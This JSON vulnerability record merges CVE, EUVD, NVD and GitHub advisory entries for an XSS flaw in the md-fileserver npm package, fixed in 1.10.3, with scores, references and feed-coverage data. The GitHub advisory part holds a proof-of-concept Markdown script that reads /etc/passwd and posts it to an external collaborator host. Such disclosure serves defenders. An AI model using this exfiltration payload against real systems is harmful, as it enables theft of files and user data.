{"id":"EUVD-2026-35496","revision":null,"records":[{"revision":"ffa1f6f9edbb4dd48aad2a70004e9687","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-46492","aliases":[],"title":"md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)","description":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.","state":0,"publishedAt":"2026-06-09T16:09:29.077+00:00","modifiedAt":"2026-06-09T18:39:21.733+00:00","affected":[{"ecosystem":"Vendor product","name":"md-fileserver","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"commenthol\",\n                    \"product\": \"md-fileserver\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.10.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"severity":"HIGH"}],"references":["https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv","https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46492","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-46492","identifiers":["CVE-2026-46492"]},"retained":false,"historicalAffected":[]},{"revision":"8465451f3db846448956627e2864aacc","observedAt":"2026-11-22T03:32:21.343+00:00","statement":{"source":"euvd","id":"EUVD-2026-35496","aliases":["CVE-2026-46492","GHSA-32q2-hhr5-6qvv"],"title":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered…","description":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"severity":null}],"references":["https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv","https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-35496","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 9, 2026, 4:09:29 PM","dateUpdated":"Jun 9, 2026, 6:39:21 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-35496","identifiers":["EUVD-2026-35496","CVE-2026-46492","GHSA-32q2-hhr5-6qvv"]},"retained":false,"historicalAffected":[]},{"revision":"a3dafc1962514f1cbe499f6cade3c783","observedAt":"2026-10-25T12:17:20.277+00:00","statement":{"source":"nvd","id":"CVE-2026-46492","aliases":[],"title":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered…","description":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.","state":0,"publishedAt":"2026-06-09T17:17:33.73+00:00","modifiedAt":"2026-08-12T17:48:26.667+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3","https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46492","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-80","CWE-87"],"productCriteria":["cpe:2.3:a:commenthol:md-fileserver:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-06-09T17:17:33.730","lastModified":"2026-08-12T17:48:26.667"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-46492","identifiers":["CVE-2026-46492"]},"retained":false,"historicalAffected":[]},{"revision":"da616c3b3c624576b8b7b21532166721","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-32q2-hhr5-6qvv","aliases":["CVE-2026-46492"],"title":"md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)","description":"### Summary\nA cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.\n\n### Details\nAn attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.\n\n### Vulnerable Components\nconfig.js → markdownIt: { html: true } (Lines 26–30)\nThe Markdown renderer is explicitly configured to allow raw HTML.\n\nlib/markd.js (Lines 33–58)\nRenders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.\n\nlib/pages/template.html\nThe rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.\n\n### PoC\nCreate a pwn.md \n```\n# Hello\n\n<script>\n  fetch('/etc/passwd', { credentials: 'include' })\n    .then(r => r.text())\n    .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));\n</script>\n\n```\nOpen it on browser.\n<img width=\"944\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac\" />\nView the HTTP request in Burp Collaborator.\n<img width=\"1328\" height=\"468\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8\" />\n\n\n### Impact\nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:\n- Session hijacking\n- Account takeover\n- Credential theft\n- Defacement or injection of malicious content\n- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information\n\nThis affects all users who can view Markdown content within the application.","state":0,"publishedAt":"2026-05-21T17:57:32+00:00","modifiedAt":"2026-06-09T18:45:30.9206675+00:00","affected":[{"ecosystem":"npm","name":"md-fileserver","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.10.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv","https://nvd.nist.gov/vuln/detail/CVE-2026-46492","https://github.com/commenthol/md-fileserver","https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3"],"sourceUrl":"https://github.com/advisories/GHSA-32q2-hhr5-6qvv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-32q2-hhr5-6qvv","identifiers":["GHSA-32q2-hhr5-6qvv","CVE-2026-46492"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-22T06:25:28.6762105+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-22T06:25:28.6762105+00:00","lastSuccessAt":"2026-11-22T06:25:28.8457347+00:00","error":null,"lastVerifiedAt":"2026-11-22T06:25:28.8457355+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-a00cc431548e20f01f2da20f449eca4a9c3c2d80f0a99ee8150099224d339982-b191656a7040c574e13b668ab781a95f29ba8dbef68a43862670e2413145262d","complete":true,"records":430427,"lastAttemptAt":"2026-11-22T06:25:28.0006948+00:00","lastSuccessAt":"2026-11-22T05:25:37.6547981+00:00","error":null,"lastVerifiedAt":"2026-11-22T06:25:28.0006948+00:00","snapshotPublishedAt":"2026-11-22T05:22:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-8c6bd03f967242b0b9c3ed1412a86a34","complete":false,"records":13927,"lastAttemptAt":"2026-11-22T06:33:30.8108404+00:00","lastSuccessAt":"2026-11-22T06:33:29.789+00:00","error":"91 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-22T06:33:29.789+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13623,"expectedIdentifiers":13975,"failedIdentifiers":91},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-22T06:25:28.6762105+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-22T06:25:28.6762105+00:00","lastSuccessAt":"2026-11-22T06:25:28.8466099+00:00","error":null,"lastVerifiedAt":"2026-11-22T06:25:28.84661+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-06412e29e48f40fc9eee37b336bd969e","complete":true,"records":13939,"lastAttemptAt":"2026-11-22T06:25:43.5527163+00:00","lastSuccessAt":"2026-11-22T06:25:43.55+00:00","error":null,"lastVerifiedAt":"2026-11-22T06:25:43.55+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13975,"expectedIdentifiers":13975,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-e5345bb505029da8292989aaa8236ee0c21dd40080e465858702ec2ecb4dcefd","complete":true,"records":9989,"lastAttemptAt":"2026-11-22T06:25:28.6293308+00:00","lastSuccessAt":"2026-11-21T19:16:03.0413179+00:00","error":null,"lastVerifiedAt":"2026-11-22T06:25:28.6293308+00:00","snapshotPublishedAt":"2026-11-21T18:18:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-22T06:25:28.1445742+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-22T06:25:28.1445742+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-67ea94df7f6b2100258b087b14035af283f000b6aefe39f55e9f2795f912fde8","complete":true,"records":3209,"lastAttemptAt":"2026-11-22T06:25:28.6416211+00:00","lastSuccessAt":"2026-11-21T19:16:06.9994675+00:00","error":null,"lastVerifiedAt":"2026-11-22T06:25:28.6416211+00:00","snapshotPublishedAt":"2026-11-21T18:18:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-c6e6524a8cc790a5155fe5929547cc5f963dbc50bf1bac44215f68577b7d2a8c","complete":true,"records":232857,"lastAttemptAt":"2026-11-22T06:25:28.5266979+00:00","lastSuccessAt":"2026-11-22T05:27:13.1364419+00:00","error":null,"lastVerifiedAt":"2026-11-22T06:25:28.5266979+00:00","snapshotPublishedAt":"2026-11-22T04:33:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}